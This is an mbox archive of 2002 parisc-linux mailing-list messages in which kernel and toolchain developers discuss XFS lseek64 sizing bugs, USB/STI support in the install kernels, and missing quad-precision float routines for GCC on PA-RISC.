X-Trace: ger.gmane.org 1416621684 13331 80.91.229.3 (22 Nov 2014 02:01:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:24 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	grundler@dsl2.external.hp.com, joel.soete@freebel.net,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 08:52:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83F1E4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 08:52:53 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 0C2F6CD824; Wed,  4 Sep 2002 07:55:37 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3D3815BD0000B3C0@ocpmta5.be.tiscali.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16019

> >Unlikely.  The unaligned trap handler in the kernel is probably
> >fixing the unaligned access.  You need to look in the kernel log
> >to see if this is happening.
> >
> Nothing to notice about unalign access kernel trap in any /var/log files
> (with checks.c.new) Is there some "debug" #define to set to increase verbosity
> of this trap?

no, it will log by default.. nothing to configure.

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:24:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFS - blkgetsize64
Date: Wed, 04 Sep 2002 10:51:47 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20020904165147.A33FC4829@dsl2.external.hp.com>
References: <20020904143013.GC4386@dreamind.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621684 13333 80.91.229.3 (22 Nov 2014 02:01:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stefan Pfetzing <dreamind@dreamind.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 10:51:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A33FC4829; Wed,  4 Sep 2002 10:51:47 -0600 (MDT)
In-Reply-To: Message from Stefan Pfetzing <dreamind@dreamind.de> 
   of "Wed, 04 Sep 2002 16:30:13 +0200." <20020904143013.GC4386@dreamind.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16020

Stefan Pfetzing wrote:
> mkfs.xfs always got the size of the Device (/dev/sda5) wrong. (it complained
> about not getting with lseek64 to that position...)
...
> So he said, perhaps there is a bug in the SCSI (lasi?) driver.

I don't think it's the driver.

lseek64 must be getting redirected to lseek().
Linux kernel only supports "lseek".
See "struct file_operations" in include/linux/fs.h.

loff_t is a 64-bit type.
include/linux/types.h:typedef __kernel_loff_t           loff_t;
include/asm/posix_types.h:typedef long long             __kernel_loff_t;

> P.S.: I'm using 2.4.19-pa9 with a self made diff from vanilla 2.4.19 against
> XFS CVS. (the patch did in nearly cleanly)

Are you running 32-bit or 64-bit kernel?
I want to know if arch/parisc/kernel/sys_parisc32.c might be the problem.

grant


From - Thu Nov 08 21:24:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: PALO-text
Date: Wed, 4 Sep 2002 19:55:20 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <7A991B84-C02F-11D6-8BC6-0030656F07A2@esiee.fr>
References: <20020904062110.GJ21440@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v482)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621684 13338 80.91.229.3 (22 Nov 2014 02:01:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:24 +0000 (UTC)
Cc: Jorge GOMEZ CABELLO <jorge.gomez@sanmina-sci.com>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 11:55:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id B06F94829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 11:55:22 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id B24D449BF2; Wed,  4 Sep 2002 19:55:20 +0200 (CEST)
In-Reply-To: <20020904062110.GJ21440@sleepie.demon.co.uk>
X-Mailer: Apple Mail (2.482)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16021

Le mercredi 4 septembre 2002, =E0 08:21 , Richard Hirst a =E9crit :

> On Tue, Sep 03, 2002 at 12:51:43PM +0200, Thibaut VARENE wrote:
>> On Tue, 3 Sep 2002 10:43:18 +0200
>> "Jorge GOMEZ CABELLO" <jorge.gomez@sanmina-sci.com> wrote:
>>
>>> Dear Puffin,
>>>
>>>     We are trying to install Debian 3.0 on our HP B2000/785 and it =
is=20
>>> impossible to recognize the usb keyboard. is there a special =
commando=20
>>> to introduced in the command line of the palo 1.0 ?
>>
>> - This reply has been CC'd to the parisc-linux mailing list -
>>
>> Hi Jorge,
>>
>> If I remember correctly, the USB support is not enabled by default in=20=

>> the install kernel for Debian 3.0, and B2000 does use a USB keyboard.
>> We had such a problem here, and there is a solution: boot and install=20=

>> the box using the following lifimage:
>> http://pateam.esiee.fr/cd-
>> images/lifimages/lifimage-2.4.18-pa46-USBSTI64-20020704.gz
>> This one has support for USB in both 32/64bit kernels, and what's=20
>> more, STI console is supported in 64bit kernel. This will allow you =
to=20
>> install the box directly with a 64bit kernel.
>>
>> We may build a more recent lifimage with such USB/STI support soon.
>>
>> Maybe we can also consider adding at least USB support to the default=20=

>> kernel configuration ? Richard, any comment ? :)
>
> I think we should add usb and 64 bit sti to default and debian =
configs.
> I guess we'll find out soon enough if it casues problems on other
> systems.
Done: support for USB input has been added as default for both 32 and 64=20=

bit kernel,
and support for both STI_CONSOLE and STI_FB has beed added as default=20
for 64 bit kernel,
since -pa10.

pa10 netinst/lifimage are available on=20
http://pateam.esiee.fr/download.html
(and soon on dsl2) :)

Feedback would be appreciated.
>
> Maybe it's time we considered an initrd boot process and kernel =
modules
> for some of this stuff.  May not be worth the effort in 2.4 though.
>
> Richard
>
>
Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/



From - Thu Nov 08 21:24:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFS - blkgetsize64
Date: Wed, 4 Sep 2002 11:11:56 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20020904181156.GJ17893@tausq.org>
References: <20020904143013.GC4386@dreamind.de> <20020904165147.A33FC4829@dsl2.external.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621685 13340 80.91.229.3 (22 Nov 2014 02:01:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:25 +0000 (UTC)
Cc: Stefan Pfetzing <dreamind@dreamind.de>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 12:07:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6894D4875
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 12:07:45 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E2982CD824; Wed,  4 Sep 2002 11:11:56 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020904165147.A33FC4829@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16022

> I don't think it's the driver.

no, not the driver...

> lseek64 must be getting redirected to lseek().
> Linux kernel only supports "lseek".

lseek64 is translated to a sys_llseek (you can see that with strace). 

> See "struct file_operations" in include/linux/fs.h.
> loff_t is a 64-bit type.
> include/linux/types.h:typedef __kernel_loff_t           loff_t;
> include/asm/posix_types.h:typedef long long             __kernel_loff_t;

we need to do some tricks to get this right ... some of the other
syscalls are fixed, but this one is not it seems.

> I want to know if arch/parisc/kernel/sys_parisc32.c might be the problem.

fwiw sys_llseek is not translated.

randolph


From - Thu Nov 08 21:24:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stefan Pfetzing <dreamind@dreamind.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFS - blkgetsize64
Date: Wed, 4 Sep 2002 20:28:14 +0200
Organization: private
Lines: 21
Approved: news@gmane.org
Message-ID: <20020904182814.GA17156@dreamind.de>
References: <20020904143013.GC4386@dreamind.de> <20020904165147.A33FC4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621685 13343 80.91.229.3 (22 Nov 2014 02:01:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 12:28:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hp (IP-213157009128.dialin.heagmedianet.de [213.157.9.128])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D00C4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 12:28:18 -0600 (MDT)
Original-Received: from dreamind by hp with local (Exim 3.36 #1 (Debian))
	id 17mesw-0004TD-00; Wed, 04 Sep 2002 20:28:14 +0200
Content-Disposition: inline
In-Reply-To: <20020904165147.A33FC4829@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-PGP-Algorithms: RSA and DSA/EG keys are available
X-Operating-System: Debian GNU/Linux testing/unstable (Kernel 2.4.19-pa9-xfs)
X-Cool: http://dreamind.de
X-Fnord: +++ath
X-WebTV-Stationery: Standard; BGColor=black; TextColor=black
X-Message-Flag: Message text blocked: ADULT LANGUAGE/SITUATIONS
X-BeenThere: hellfire@templeofhate.com
X-MSMail-Priority: High
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16023

Hi,

* Grant Grundler <grundler@dsl2.external.hp.com> [020904 18:51]:
> Stefan Pfetzing wrote:
[snip]
> > P.S.: I'm using 2.4.19-pa9 with a self made diff from vanilla 2.4.19 against
> > XFS CVS. (the patch did in nearly cleanly)
> 
> Are you running 32-bit or 64-bit kernel?
> I want to know if arch/parisc/kernel/sys_parisc32.c might be the problem.
I'm running a 32bit kernel, since some time ago I had problems with 64bit and
cdrecord.

bye

Stefan

-- 
        http://www.dreamind.de/
Oroborus and Debian GNU/Linux Developer.


From - Thu Nov 08 21:24:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GCC and quad-precision floating point
Date: Wed, 4 Sep 2002 14:42:59 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200209041842.g84Igx2n011400@hiauly1.hia.nrc.ca>
References: <20020904181156.GJ17893@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621685 13345 80.91.229.3 (22 Nov 2014 02:01:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:25 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com,
	parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 12:43:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9C1854829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 12:43:03 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g84Ih000011401;
	Wed, 4 Sep 2002 14:43:00 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g84Igx2n011400;
	Wed, 4 Sep 2002 14:42:59 -0400 (EDT)
In-Reply-To: <20020904181156.GJ17893@tausq.org> from "Randolph Chung" at Sep 4, 2002 11:11:56 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16024

I have just implemented some fixes and changed the long double size
to 128 bits on the hppa64 GCC ports.  For parisc-linux, the long double
support should be 128 bits (both for 32 and 64 bit) but we are currently
stuck at 64 bits because we are missing a bunch of quad library calls:

_U_Qfadd, _U_Qfsub, _U_Qfmpy, _U_Qfdiv, _U_Qfneg, _U_Qfsqrt, _U_Qfabs,
_U_Qfmin, _U_Qfmax, _U_Qfcnvff_sgl_to_quad, _U_Qfcnvff_dbl_to_quad,
_U_Qfcnvff_quad_to_sgl, _U_Qfcnvff_quad_to_dbl, _U_Qfcnvxf_sgl_to_quad,
_U_Qfcnvxf_dbl_to_quad, _U_Qfcnvfxt_quad_to_sgl, _U_Qfcnvfxt_quad_to_usgl,
_U_Qfcnvfxt_quad_to_udbl, _U_Qfcnvfxt_quad_to_dbl, _U_Qfeq, _U_Qfne,
_U_Qfgt, _U_Qfge, _U_Qflt, _U_Qfle.

There are probably some more for unordered comparisons.

Any chance that someone with contacts inside HP, might be able to
obtain the source code for these functions?  They are really part
of the ABI.

While it's relatively straightforward to implement these using the
quad-precision instructions in the PA 2.0 architecture for the 64-bit
port, it's non trivial to implement them for earlier architectures
using the 32-bit port.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC and quad-precision floating point
Date: Wed, 4 Sep 2002 15:15:17 -0400
Lines: 50
Approved: news@gmane.org
Message-ID: <20020904191517.GB6702@systemhalted>
References: <20020904181156.GJ17893@tausq.org> <200209041842.g84Igx2n011400@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621686 13348 80.91.229.3 (22 Nov 2014 02:01:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:26 +0000 (UTC)
Cc: randolph@tausq.org, grundler@dsl2.external.hp.com,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 13:15:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id DAA6A4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 13:15:28 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17mfcU-00023k-00; Wed, 04 Sep 2002 15:15:18 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, randolph@tausq.org,
	grundler@dsl2.external.hp.com, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200209041842.g84Igx2n011400@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (89% Sync Ratio [=========.])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16025

> I have just implemented some fixes and changed the long double size
> to 128 bits on the hppa64 GCC ports.  For parisc-linux, the long double
> support should be 128 bits (both for 32 and 64 bit) but we are currently
> stuck at 64 bits because we are missing a bunch of quad library calls:
> 
> _U_Qfadd, _U_Qfsub, _U_Qfmpy, _U_Qfdiv, _U_Qfneg, _U_Qfsqrt, _U_Qfabs,
> _U_Qfmin, _U_Qfmax, _U_Qfcnvff_sgl_to_quad, _U_Qfcnvff_dbl_to_quad,
> _U_Qfcnvff_quad_to_sgl, _U_Qfcnvff_quad_to_dbl, _U_Qfcnvxf_sgl_to_quad,
> _U_Qfcnvxf_dbl_to_quad, _U_Qfcnvfxt_quad_to_sgl, _U_Qfcnvfxt_quad_to_usgl,
> _U_Qfcnvfxt_quad_to_udbl, _U_Qfcnvfxt_quad_to_dbl, _U_Qfeq, _U_Qfne,
> _U_Qfgt, _U_Qfge, _U_Qflt, _U_Qfle.
> 
> There are probably some more for unordered comparisons.
> 
> Any chance that someone with contacts inside HP, might be able to
> obtain the source code for these functions?  They are really part
> of the ABI.
> 
> While it's relatively straightforward to implement these using the
> quad-precision instructions in the PA 2.0 architecture for the 64-bit
> port, it's non trivial to implement them for earlier architectures
> using the 32-bit port.
> 
> Dave

Randolph and I were discussing borrowing from gmp to implement some of 
these for the earlier 32-bit processors. Thought it seems that this may
break the HPUX compatibility? 

gmp seems to have support for:

	add, sub, multiply, div, neg, sqrt, abs, min, max
	equals, not-equals, greater-than, greather-than-or-equal,
	less-than, less-than-or-equal.	

The 'cnv' functions need to be addressed:

	single -> quad
	double -> quad
	quad   -> single
	quad   -> double
	quad   -> unsigned single
	quad   -> unsigned double

Under certain conditions of float-float, float-fixed, float-fixed&truncate.
This will have to follow the HPUX convention?

c.



From - Thu Nov 08 21:24:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC and quad-precision floating point
Date: Wed, 4 Sep 2002 15:59:27 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200209041959.g84JxRRH011794@hiauly1.hia.nrc.ca>
References: <20020904191517.GB6702@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621686 13350 80.91.229.3 (22 Nov 2014 02:01:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:26 +0000 (UTC)
Cc: randolph@tausq.org, grundler@dsl2.external.hp.com,
	parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 13:59:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9C79D4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 13:59:34 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g84JxS00011796;
	Wed, 4 Sep 2002 15:59:28 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g84JxRRH011794;
	Wed, 4 Sep 2002 15:59:27 -0400 (EDT)
In-Reply-To: <20020904191517.GB6702@systemhalted> from "Carlos O'Donell" at Sep 4, 2002 03:15:17 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16026

> Randolph and I were discussing borrowing from gmp to implement some of 
> these for the earlier 32-bit processors. Thought it seems that this may
> break the HPUX compatibility? 

I would guess that that the best compatibility would be obtained with
the HP functions.  As far as I can tell, gmp does not use IEEE standard
data types.  Thus, concepts of nans, snans, unordered if present at
all in gmp would differ.

GCC can only deal with floating data in IEEE format.  So, conversion
would have to be done for all operations.

I presume that the HPUX compatibility is just for static binaries
(i.e., there is no shared library support).  In this case, the routines
would be compiled into hpux binaries.  So, I don't think much additional
would be needed at an os level.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
